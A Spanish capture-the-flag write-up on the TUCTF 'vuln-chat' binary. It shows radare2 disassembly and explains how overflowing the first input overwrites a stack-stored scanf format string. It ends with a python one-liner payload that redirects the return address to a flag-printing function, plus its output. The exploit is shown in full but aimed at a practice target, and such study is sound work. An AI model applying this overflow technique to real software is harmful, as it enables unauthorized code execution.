TUCTF: explotando vuln-chat

Sobrescribir una cadena de formato de scanf para convertir un desbordamiento limitado en control de la dirección de retorno.

Al ejecutarlo aparece un chat que pide nuestro alias y después un mensaje:

2_5_tu_vulnchat/wip$ ./vuln-chat
----------- Welcome to vuln-chat -------------
Enter your username: lala
Welcome lala!
Connecting to 'djinn'
--- 'djinn' has joined your chat ---
djinn: I have the information. But how do I know I can trust you?
lala: lele
djinn: Sorry. That's not good enough

Lo abrimos con r2. Con afl encontramos una función interesante llamada sym.printFlag. 0x0804856b 1 31 sym.printFlag Vemos que imprime la flag:

┌ 31: sym.printFlag ();
│           0x0804856b      55             push ebp
│           0x0804856c      89e5           mov ebp, esp
│           0x0804856e      68f0860408     push str._bin_cat_._flag.txt ; 0x80486f0 ; "/bin/cat ./flag.txt"
│           0x08048573      e8a8feffff     call sym.imp.system         ; int system(const char *string)
│           0x08048578      83c404         add esp, 4
│           0x0804857b      6804870408     push str.Use_it_wisely      ; 0x8048704 ; "Use it wisely"
│           0x08048580      e88bfeffff     call sym.imp.puts           ; int puts(const char *s)
│           0x08048585      83c404         add esp, 4
│           0x08048588      c9             leave
└           0x08048589      c3             ret

Veamos ahora la función principal.

Las entradas se leen mediante scanf. No veía el problema hasta llegar aquí:

│           0x080485be      c745fb2533..   mov dword [format], 0x73303325 ; '%30s'
│           0x080485c5      c645ff00       mov byte [var_1h], 0
│           0x080485c9      8d45e7         lea eax, [var_19h]

Y después:

│           0x0804862c      8d45d3         lea eax, [var_2dh]
│           0x0804862f      50             push eax
│           0x08048630      8d45fb         lea eax, [format]
│           0x08048633      50             push eax                    ; const char *format
│           0x08048634      e827feffff     call sym.imp.__isoc99_scanf ; int scanf(const char *format)

El formato %30s está almacenado en una variable local, al alcance del desbordamiento de la primera entrada. La distancia es 0x19-0x5, es decir, 20 bytes, y podemos escribir hasta 30 bytes. Con la segunda entrada podemos introducir una cadena de longitud arbitraria y sobrescribir eip.

La estructura será: 20 bytes of trash + %90s(for example) + remaining bytes to waste first input (6 bytes) + 49 bytes of padding + 0x0804856b También podemos sustituir esos seis bytes de relleno por \n, \x0a, u otro carácter de espacio en blanco.

$python3 -c "import sys;sys.stdout.buffer.write(b'A'*20+b'\x25\x39\x30\x73'+b'B'*6+b'C'*49+b'\x6b\x85\x04\x08')" | ./vuln-chat
----------- Welcome to vuln-chat -------------
Enter your username: Welcome AAAAAAAAAAAAAAAAAAAA%90sBBBBBB!
Connecting to 'djinn'
--- 'djinn' has joined your chat ---
djinn: I have the information. But how do I know I can trust you?
AAAAAAAAAAAAAAAAAAAA%90sBBBBBB: djinn: Sorry. That's not good enough
flag{g0ttem_b0yz}
Use it wisely
Segmentation fault (core dumped)